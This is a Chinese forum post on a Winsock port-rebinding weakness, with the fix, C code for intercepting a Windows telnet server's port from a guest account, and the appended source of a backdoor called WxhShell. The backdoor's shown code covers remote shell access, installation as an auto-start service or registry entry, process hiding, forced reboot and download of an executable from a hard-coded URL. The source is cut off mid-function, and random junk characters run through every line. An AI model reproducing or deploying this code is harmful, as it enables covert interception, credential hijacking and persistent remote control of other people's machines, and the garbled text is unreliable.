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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _ft)e3Gf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mi>CHa+$  
R3<2Z0lqy  
  saddr.sin_family = AF_INET; (U GmbRf&  
c1 ~=   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <:YD.zAh|  
G^6\OOSy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D$vP&7pOr4  
B'U;i5u4'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AgU 7U/yk  
B|zVq=l~  
  这意味着什么?意味着可以进行如下的攻击: W4ygJL7 6  
b~L8m4L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ss4<s 5:y  
flr&+=1?D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &# w~S~  
'-?t^@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q@6Je(H  
yrgb6)]nm@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l4LowV7  
QN'v]z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G#(+p|n  
n@e[5f9?x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L74Sx0nk=  
g 218%i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3L5o8?[  
|TE\]  
  #include Z,ZebS@yG  
  #include #2U4}#Mi  
  #include ]di9dLT  
  #include    ?xgrr7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6d% |yl  
  int main() (wtw1E5X  
  { |n_es)A  
  WORD wVersionRequested; N!hS`<}  
  DWORD ret; G;CB%qXI  
  WSADATA wsaData; F]"Hs>  
  BOOL val; lbg^ 2|o~~  
  SOCKADDR_IN saddr; V.8pxD5 s  
  SOCKADDR_IN scaddr; mn;Wqb/  
  int err; &\_cU?0d  
  SOCKET s; ?7:?OX  
  SOCKET sc; 8pQ:B/3=  
  int caddsize; i H^Gv*  
  HANDLE mt; O@gHx!L  
  DWORD tid;   \a|bx4M  
  wVersionRequested = MAKEWORD( 2, 2 ); O(Tdn;1  
  err = WSAStartup( wVersionRequested, &wsaData ); e[ 8AdE  
  if ( err != 0 ) { w'-J24>=  
  printf("error!WSAStartup failed!\n"); EEJsNF  
  return -1; J% t[{  
  } , 7kS#`P  
  saddr.sin_family = AF_INET; \;%DDw  
   UFED*al#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !UV/p"CfX  
)&$Zt(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); " ~X;u8m  
  saddr.sin_port = htons(23); vMQvq9T}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >10pk  
  { 52L* :|b  
  printf("error!socket failed!\n"); (6WSQqp  
  return -1; S/XkxGZ2  
  } Gw;[maM!%`  
  val = TRUE; Q6r!=yOEY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OGjeE4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -}W `  
  { \~YyY'J  
  printf("error!setsockopt failed!\n"); G\S>H  
  return -1;  xlH?J;$  
  } q[}[w!to  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b)eKa40Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A`D^}F6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rLfhm Ds%u  
eZr}xo@9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l*yh(3~}  
  { A>c/q&WUk  
  ret=GetLastError(); V=C@ocy Z  
  printf("error!bind failed!\n"); _cW (R,i  
  return -1; 9b0M'x'W5  
  } P 3CzX48^  
  listen(s,2); $)5-}NJf'  
  while(1) 5G-}'-R  
  { !Hk$  t  
  caddsize = sizeof(scaddr); LcA~a<_  
  //接受连接请求 }#rdMh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9_6.%qj&  
  if(sc!=INVALID_SOCKET) \G}$+  
  { <Rl:=(]i~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V`n;W6Q17  
  if(mt==NULL) -UPlQL  
  { LQnkpy3A  
  printf("Thread Creat Failed!\n"); Ifc}=:nr  
  break; ?QnVWu2K  
  } SnhB$DG  
  } RRNoX }  
  CloseHandle(mt); ;bZIj` D(  
  } /cy'% .!  
  closesocket(s); SQZUkKfb  
  WSACleanup(); -%U 15W;  
  return 0; CFW\  
  }   ::xH C4tw  
  DWORD WINAPI ClientThread(LPVOID lpParam) D{](5?$`|  
  { >tq,F"2amC  
  SOCKET ss = (SOCKET)lpParam; @R|Gz/  
  SOCKET sc; CTbz?Kn  
  unsigned char buf[4096]; %("Bq"Q8  
  SOCKADDR_IN saddr; 4)BPrWea1  
  long num; Y]5\%JR  
  DWORD val; jDp]}d|f)  
  DWORD ret; J#0oL_xY#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C^ hHt,&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k+"+s bsW'  
  saddr.sin_family = AF_INET; ',Mi D=_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;?y*@ *2u  
  saddr.sin_port = htons(23); _d$0(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) : .-z) C}  
  { o|s JTY  
  printf("error!socket failed!\n"); +G!N@O  
  return -1; r~sx] =/  
  } m})q8b!S  
  val = 100; fwojFS.K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J {gqm  
  { %0PdN@I  
  ret = GetLastError(); CWVCYm@!kz  
  return -1; b"ypS7 _  
  } n.{+\M6k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )U`"3R  
  { VK*2`Z1  
  ret = GetLastError(); H:X=v+W  
  return -1; VWlOMqL995  
  } U8Pnt|0M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R;P>_ei(LK  
  { <"uT=]wZ=  
  printf("error!socket connect failed!\n"); o@`& h} $  
  closesocket(sc); %"Y7 b2pPa  
  closesocket(ss); jhWNMu  
  return -1; FQR{w  
  } 8?GS:+  
  while(1) P&/PCSf  
  { No)v&P%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *-timVlaE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nb:J"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ul?Ha{ W  
  num = recv(ss,buf,4096,0); A2o ;YyF  
  if(num>0) JM#jg-z,~  
  send(sc,buf,num,0); d9XX^nY.  
  else if(num==0) !A"`jc~x:  
  break; rSIb1zJ  
  num = recv(sc,buf,4096,0);  8@)/a  
  if(num>0) Hp_3BulS<  
  send(ss,buf,num,0); ,`/J1(\ nd  
  else if(num==0) O[3AI^2  
  break; t6;Ln().Hw  
  } um@RaU  
  closesocket(ss); zaX!f ~;"  
  closesocket(sc); A# W%ud4  
  return 0 ; 71+J{XOC  
  } *'+OA6  
M%wj6!5  
'|0Dt|$  
========================================================== *M_.>".P  
D?rQQxb  
下边附上一个代码,,WXhSHELL #&G^%1!  
IKM=Q. 7j  
========================================================== ui4H(A'}  
{m9OgR5U  
#include "stdafx.h"  4q)eNcs  
9$,?Grw~  
#include <stdio.h> q P@4KH} e  
#include <string.h> ;l_%;O5  
#include <windows.h> ,CguY/y  
#include <winsock2.h> H&6 5X  
#include <winsvc.h> rN)T xH&*p  
#include <urlmon.h> pR8]HNY0  
4A%O`&eZ  
#pragma comment (lib, "Ws2_32.lib") ,jyNV<dI  
#pragma comment (lib, "urlmon.lib") YMG{xGPtM  
cO2 .gQo'  
#define MAX_USER   100 // 最大客户端连接数 ]Au78Yom  
#define BUF_SOCK   200 // sock buffer }-m/ 'Q  
#define KEY_BUFF   255 // 输入 buffer h3issi+N  
N}wi<P:*)  
#define REBOOT     0   // 重启 x`^~|Q  
#define SHUTDOWN   1   // 关机 vJ$#m_aa  
6uQfe? aD  
#define DEF_PORT   5000 // 监听端口 9hI4',(rE  
*1V}vJvi  
#define REG_LEN     16   // 注册表键长度 fmH$ 1C<  
#define SVC_LEN     80   // NT服务名长度 !!ZNemXct$  
#.0^;M5Nh  
// 从dll定义API ^;B vd!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9)sGnD;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '$~9~90?Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #;U_ L`q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5AR\'||u  
+ )?1F  
// wxhshell配置信息 MpM-xz~  
struct WSCFG { "A^9WhUpJ  
  int ws_port;         // 监听端口 /4j'?hB<g  
  char ws_passstr[REG_LEN]; // 口令 jRK<FK  
  int ws_autoins;       // 安装标记, 1=yes 0=no HoGrvt<:.P  
  char ws_regname[REG_LEN]; // 注册表键名 WO*YBH@  
  char ws_svcname[REG_LEN]; // 服务名 \>w[#4`m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yqqP7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m~\BkE/[l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e9h T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +bvY*^i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q"CZ}B1<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MP?9k)f  
):eX*  
}; *&>1A A  
8ON$M=Ze$  
// default Wxhshell configuration Oh<[8S7]C  
struct WSCFG wscfg={DEF_PORT, RNuOwZ1m  
    "xuhuanlingzhe", NA[yT  
    1, $lci{D32,  
    "Wxhshell", ?<,9X06dP  
    "Wxhshell", ?3Wh. %n  
            "WxhShell Service", W,YzD&f=uS  
    "Wrsky Windows CmdShell Service", V4f ~#Tp  
    "Please Input Your Password: ", }4Lv-9s,  
  1, noa?p&Y1m  
  "http://www.wrsky.com/wxhshell.exe", [g/Hf(&  
  "Wxhshell.exe" '=@O]7o~  
    }; \uQB%yMoz  
A[v]^pv'  
// 消息定义模块 t/HMJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uf{cUY,j_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QvK/31*QG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y1txI  
char *msg_ws_ext="\n\rExit."; ^V v7u@y  
char *msg_ws_end="\n\rQuit."; "ji4x y  
char *msg_ws_boot="\n\rReboot..."; ;JA2n\iP,  
char *msg_ws_poff="\n\rShutdown..."; I-4csw<Qy  
char *msg_ws_down="\n\rSave to "; yInW?3  
BqK|4-Pf  
char *msg_ws_err="\n\rErr!"; '0U+M{  
char *msg_ws_ok="\n\rOK!"; 'Wl) )lB  
a3ve%b  
char ExeFile[MAX_PATH]; Skl1%`  
int nUser = 0; N%/Qc hu  
HANDLE handles[MAX_USER]; aB-*l %x  
int OsIsNt; g=Q#2/UQ<  
):jK sP ,  
SERVICE_STATUS       serviceStatus; ;%odN d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3zY"9KUN  
pq+Gsu1^  
// 函数声明 j"HB[N   
int Install(void); ry3;60E \)  
int Uninstall(void); E}mnGe  
int DownloadFile(char *sURL, SOCKET wsh); j% !   
int Boot(int flag); c, \TL ]  
void HideProc(void); V:)k@W?P  
int GetOsVer(void); YMad]_XOP  
int Wxhshell(SOCKET wsl); Q<P],}?:  
void TalkWithClient(void *cs); 8vz9o <I  
int CmdShell(SOCKET sock); ~d?7\:n  
int StartFromService(void); #z-6mRB  
int StartWxhshell(LPSTR lpCmdLine); .l"_f  
c'&3[aa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :}FMauHh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #JeZA0r5  
oHB51< }  
// 数据结构和表定义 `;*%5WD%  
SERVICE_TABLE_ENTRY DispatchTable[] = SoS[yr  
{ CT3wd?)z`  
{wscfg.ws_svcname, NTServiceMain}, ]plg@  
{NULL, NULL} T/MbEqAf  
}; ,sP7/S)FR  
_;W}_p}q{  
// 自我安装 m*  |3  
int Install(void) 2sjV*\Udf  
{ 9s6, &'  
  char svExeFile[MAX_PATH]; Xoml  
  HKEY key; bw9a@X  
  strcpy(svExeFile,ExeFile); E {4/$}  
}&d]Uv/4  
// 如果是win9x系统,修改注册表设为自启动 nBjfR2TuF  
if(!OsIsNt) { ueZ`+g~gg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X3".  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zv||&Hi  
  RegCloseKey(key); +dS e" W9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KR%p*Nh+C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HviL4iO  
  RegCloseKey(key); nYY@+%` ]z  
  return 0; &9, 6<bToP  
    } {$bAs9L  
  } j! iimdq  
} &!2 4l=!  
else { M/:kh,3  
fBS;~;l  
// 如果是NT以上系统,安装为系统服务 C^K?"800  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q?L-6]pg  
if (schSCManager!=0) Tf Q(f?  
{ <tMiI)0%  
  SC_HANDLE schService = CreateService sKB])mf]  
  ( zPWG^  
  schSCManager, K SDo)7`  
  wscfg.ws_svcname, ^F5[2<O/!  
  wscfg.ws_svcdisp, aRdk^|}  
  SERVICE_ALL_ACCESS, r^n%PH <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]Hc `<P  
  SERVICE_AUTO_START, k+'Rh'>  
  SERVICE_ERROR_NORMAL, ~A}"s-Kq5  
  svExeFile, .d^8w97  
  NULL, ;XSV}eLu  
  NULL, ?lnX."eAdB  
  NULL, tk|Ew!M:  
  NULL, 0qnToV;  
  NULL h35x'`g7+r  
  ); !F/;WjHz  
  if (schService!=0) `]#DdJ_|  
  { (WCpaC  
  CloseServiceHandle(schService); .8uJ%'$)  
  CloseServiceHandle(schSCManager); ce.'STm=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (\e,,C%;  
  strcat(svExeFile,wscfg.ws_svcname); D0v!fF ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qi;@A-cq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pan^@B=Q  
  RegCloseKey(key); dMCV !$  
  return 0; =PP]LDlJs  
    } ea3AcT6  
  } H\W60|z9  
  CloseServiceHandle(schSCManager); ow:c$Zq  
} F]N9ZWn /  
} >#Y8#-$zc  
<oS2a/Nd  
return 1; #b4`Wcrj  
} .wtb7U;7  
K8XXO"  
// 自我卸载 zC(DigN  
int Uninstall(void) D*|h c  
{ s+2\uMwf*  
  HKEY key; 8&qCH>Cf  
t(?m!Z?tb  
if(!OsIsNt) { eVjr/nm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6{8qATLR  
  RegDeleteValue(key,wscfg.ws_regname); q*{i/=~  
  RegCloseKey(key); vE;`y46&r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BLgmF E2  
  RegDeleteValue(key,wscfg.ws_regname); >7!4o9)c  
  RegCloseKey(key); B%6>2S=E  
  return 0; T-xcd  
  } %E3|b6k\  
} @C0{m7q  
} ) 2wof(  
else { AmM^&  
_&D I_'5q+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nj1vB;4Nx  
if (schSCManager!=0) F6dm_Oq&  
{ 8b8ui  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8E H# IiP  
  if (schService!=0) cR 4xy26s  
  { Q%o ]&Hdn  
  if(DeleteService(schService)!=0) { f]^(|*6  
  CloseServiceHandle(schService); 6k%N\!_TUW  
  CloseServiceHandle(schSCManager); F[ N{7C3  
  return 0; GC?\GV  
  } {# ;e{v  
  CloseServiceHandle(schService);  e-sMU  
  } _ M8Q%  
  CloseServiceHandle(schSCManager); -_[n2\|we)  
} =O?<WJoK  
} E}-Y@( [  
Wo&MHMP  
return 1; N8m|Y]^H#  
} 12gcma}  
5u'"m<4  
// 从指定url下载文件 ^Jcs0c @\  
int DownloadFile(char *sURL, SOCKET wsh) ,DqI> vx|  
{ n,hHh=.Fu  
  HRESULT hr; { xi$'r  
char seps[]= "/"; pa N )t  
char *token; 1Cki}$k@  
char *file; !lG5BOJM  
char myURL[MAX_PATH]; G#ZU^%$M,  
char myFILE[MAX_PATH]; uhSRl~tn  
XE[~! >'  
strcpy(myURL,sURL); {wih)XNY  
  token=strtok(myURL,seps); $xNM^O  
  while(token!=NULL) 7FW!3~3A_  
  { vg&Dr  
    file=token; SSY E&  
  token=strtok(NULL,seps); fKY6stJE  
  } eL JW  
DNcf2_m  
GetCurrentDirectory(MAX_PATH,myFILE); v AP)(I  
strcat(myFILE, "\\"); @\e2Q& O  
strcat(myFILE, file); d&&^_0O  
  send(wsh,myFILE,strlen(myFILE),0); m]R< :_  
send(wsh,"...",3,0); ,Bk mf|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 51W\%aB  
  if(hr==S_OK) l3R`3@  
return 0; ;g?oU "YM  
else dX-{75o5P  
return 1; {1li3K&0s  
" |[w.`  
} F<Js"z+  
%Ui&SZ\  
// 系统电源模块 'e_^s+l)a  
int Boot(int flag) {"S"V  
{ tPIT+1.]z  
  HANDLE hToken; xgn@1.}G  
  TOKEN_PRIVILEGES tkp; OE]z C  
NVU@m+m~  
  if(OsIsNt) {  Iz*'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f9W@!]LHJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?M. n 9|}y  
    tkp.PrivilegeCount = 1; "*CQ<@+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R$X1Q/#md  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v]& )+0  
if(flag==REBOOT) { XrS.[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bq/ m?;  
  return 0; PVH^yWi n  
} S;sggeP7,  
else { :CH "cbo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yoGe^gar  
  return 0; mYJ%gdTpo  
} srXGe`VL  
  } .Qm"iOyM  
  else { Tjma'3H*T0  
if(flag==REBOOT) { eu@hmR8T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |s`j=<rNQI  
  return 0; c?A(C#~ z  
} <^snS,06  
else { J@PwN^`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~CIA6&  
  return 0; U??P  
} U\a.'K50F  
} jq:FDyOAW  
3B!lE(r%J  
return 1; Cx2s5vJX4p  
} {XH!`\  
[[2Zcz:  
// win9x进程隐藏模块 n[8ju,=  
void HideProc(void) c,pR+DP  
{ <^q4^Q[  
64 9{\;*4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LsH&`G^<  
  if ( hKernel != NULL ) A]L;LkEM  
  { 7ZarXv z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1;?n]L`T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JX8Hn |  
    FreeLibrary(hKernel); Zz}Wg@&  
  } KI)jP((  
7s@%LS  
return; WP[h@#7<  
} 4>eY/~odq]  
!)gTS5Rh:  
// 获取操作系统版本 B64L>7\>`  
int GetOsVer(void) ,<R/jHZP9  
{ AdBB#zd  
  OSVERSIONINFO winfo; 12qX[39/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lx _jy>$}r  
  GetVersionEx(&winfo); xj`ni G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &x6Z=|Ers  
  return 1; E0; }e  
  else Br^4N9  
  return 0; tmT/4Ia  
} C#{s[l\]  
nAIV]9RAZ%  
// 客户端句柄模块 1bjhEO W  
int Wxhshell(SOCKET wsl) "P.H  
{ Jm8{@D%  
  SOCKET wsh; gZ vX~  
  struct sockaddr_in client; ~Sy/q]4ys*  
  DWORD myID; 5-'jYp/  
P`r@<cgb=  
  while(nUser<MAX_USER) #tX\m ;  
{ =v^LShD2^  
  int nSize=sizeof(client); _`3'D`s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }dcXuX4{r  
  if(wsh==INVALID_SOCKET) return 1; q)0?aL  
Xq:jp+WSG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _2uRY  
if(handles[nUser]==0) Wm ri%  
  closesocket(wsh); >%Rb}Ki4  
else .m%/JquMFM  
  nUser++; E57:ap)/  
  } 6r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); );EW(7KeL  
}]O* yFR{j  
  return 0; OXu*w l(z  
} pT3p!/pl3  
;Z>u]uK4+  
// 关闭 socket .axJ'*~W  
void CloseIt(SOCKET wsh) `;KU^dH  
{ ,liFo.kT8%  
closesocket(wsh); qyi5j0)W  
nUser--;  B=)&43)\  
ExitThread(0); >f)/z$ qn  
} DD 8uG`<  
\"r84@<  
// 客户端请求句柄 D1w;cV7/d  
void TalkWithClient(void *cs) MR4e.+#E  
{ }/)vOUcEd  
^3~+|A98M  
  SOCKET wsh=(SOCKET)cs; 2J7= O^$?  
  char pwd[SVC_LEN]; }E[u" @}  
  char cmd[KEY_BUFF]; EFpV  
char chr[1]; $ZnLYuGb  
int i,j; '+?L/|'  
bEO\oS  
  while (nUser < MAX_USER) { B$ty`/{w,B  
mEK0ID\  
if(wscfg.ws_passstr) { 3PRg/vD3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yC%zX}5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w=e_@^Fkx  
  //ZeroMemory(pwd,KEY_BUFF); tc-pVw:TV  
      i=0; t<8vgdD  
  while(i<SVC_LEN) { FXLY*eRk  
TpnJm%9`)t  
  // 设置超时 6(#fGH&[  
  fd_set FdRead; RP!!6A6:  
  struct timeval TimeOut; n*(9:y=l1  
  FD_ZERO(&FdRead); GjVq"S  
  FD_SET(wsh,&FdRead); <4lR  
  TimeOut.tv_sec=8; B=<>OYH  
  TimeOut.tv_usec=0; 9, A(|g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =*paa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +M )ep\j  
(L`7-6e(Ab  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kjw==5)}  
  pwd=chr[0]; Myj 5qh  
  if(chr[0]==0xd || chr[0]==0xa) { ENx1)]  
  pwd=0; .\Z/j  
  break; )I~U&sT\/  
  } 2EO WbN}M  
  i++; O_v8R7 {  
    } +/"Ws '5E  
7hV9nuW  
  // 如果是非法用户,关闭 socket y4N8B:j%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]|H`?L  
} K)ZW1d;  
hk5[ N=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pJg'$iR!/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =1|^) 4M,x  
V(gmC%6%l*  
while(1) { X667*L^  
Q:L^DZkGV  
  ZeroMemory(cmd,KEY_BUFF); 9F~e^v]zp  
0iKSUw ps  
      // 自动支持客户端 telnet标准   Np2I*l6W  
  j=0; ,Yp+&&p.  
  while(j<KEY_BUFF) { 8m prK`p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &*Sgyk o`  
  cmd[j]=chr[0]; ;+ -@AYl  
  if(chr[0]==0xa || chr[0]==0xd) { L3N ?^^]  
  cmd[j]=0; u"$=:GK  
  break; 7LFJi@*8  
  } F.rNh`44  
  j++; Xu.Wdl/{Ra  
    } 7lLh4__;`6  
A{Kc"s4fO  
  // 下载文件 :.VI*X:aQh  
  if(strstr(cmd,"http://")) { kT-dQ32  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |2Krxi3*  
  if(DownloadFile(cmd,wsh)) Oc,E\~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?&gqGU}  
  else (7X|W<xT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TTDcVG_}  
  } zh.^> `   
  else { o [ Je  
I ~U1vtgp  
    switch(cmd[0]) { )7aUDsu>4  
  *\-$.w)k  
  // 帮助 CI#6 r8u  
  case '?': { JJQS7,vG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QLPb5{>KDS  
    break; dCb7sqJ%  
  } ;c/|LXc\  
  // 安装 U}yq*$N  
  case 'i': { h]+UK14m  
    if(Install()) '9ki~jtf=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<NZC  
    else W>E/LBpE4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \4`:~c  
    break; 5wE+p<-KX  
    } JI3x^[(Z  
  // 卸载 #NyfE|MKBC  
  case 'r': { DXa!"ZU  
    if(Uninstall()) i-jrF6&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,<CFjtelO  
    else 6*aU^#Hz6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SzTa[tJ+  
    break; 2FVO@D  
    } "y9]>9:$-  
  // 显示 wxhshell 所在路径 X7~^D[ X  
  case 'p': { hEh` cBO  
    char svExeFile[MAX_PATH]; %&5PZmnW  
    strcpy(svExeFile,"\n\r"); /g]NC?  
      strcat(svExeFile,ExeFile); IDY2X+C#U  
        send(wsh,svExeFile,strlen(svExeFile),0); !,cL c}a  
    break; 6"L,#aKm^  
    } "*bP @W  
  // 重启 /ucS*m:<x  
  case 'b': { #FhgKwx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mx!EuF$I  
    if(Boot(REBOOT)) 8}?w i[T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2JhE`EVH  
    else { /prR;'ks  
    closesocket(wsh); w7%.EA{N  
    ExitThread(0); 1RgERj  
    } jhJ'fI  
    break; FX  %(<M  
    } v;sWI"Fv!  
  // 关机 |muZv!,E  
  case 'd': { Wt M1nnJp  
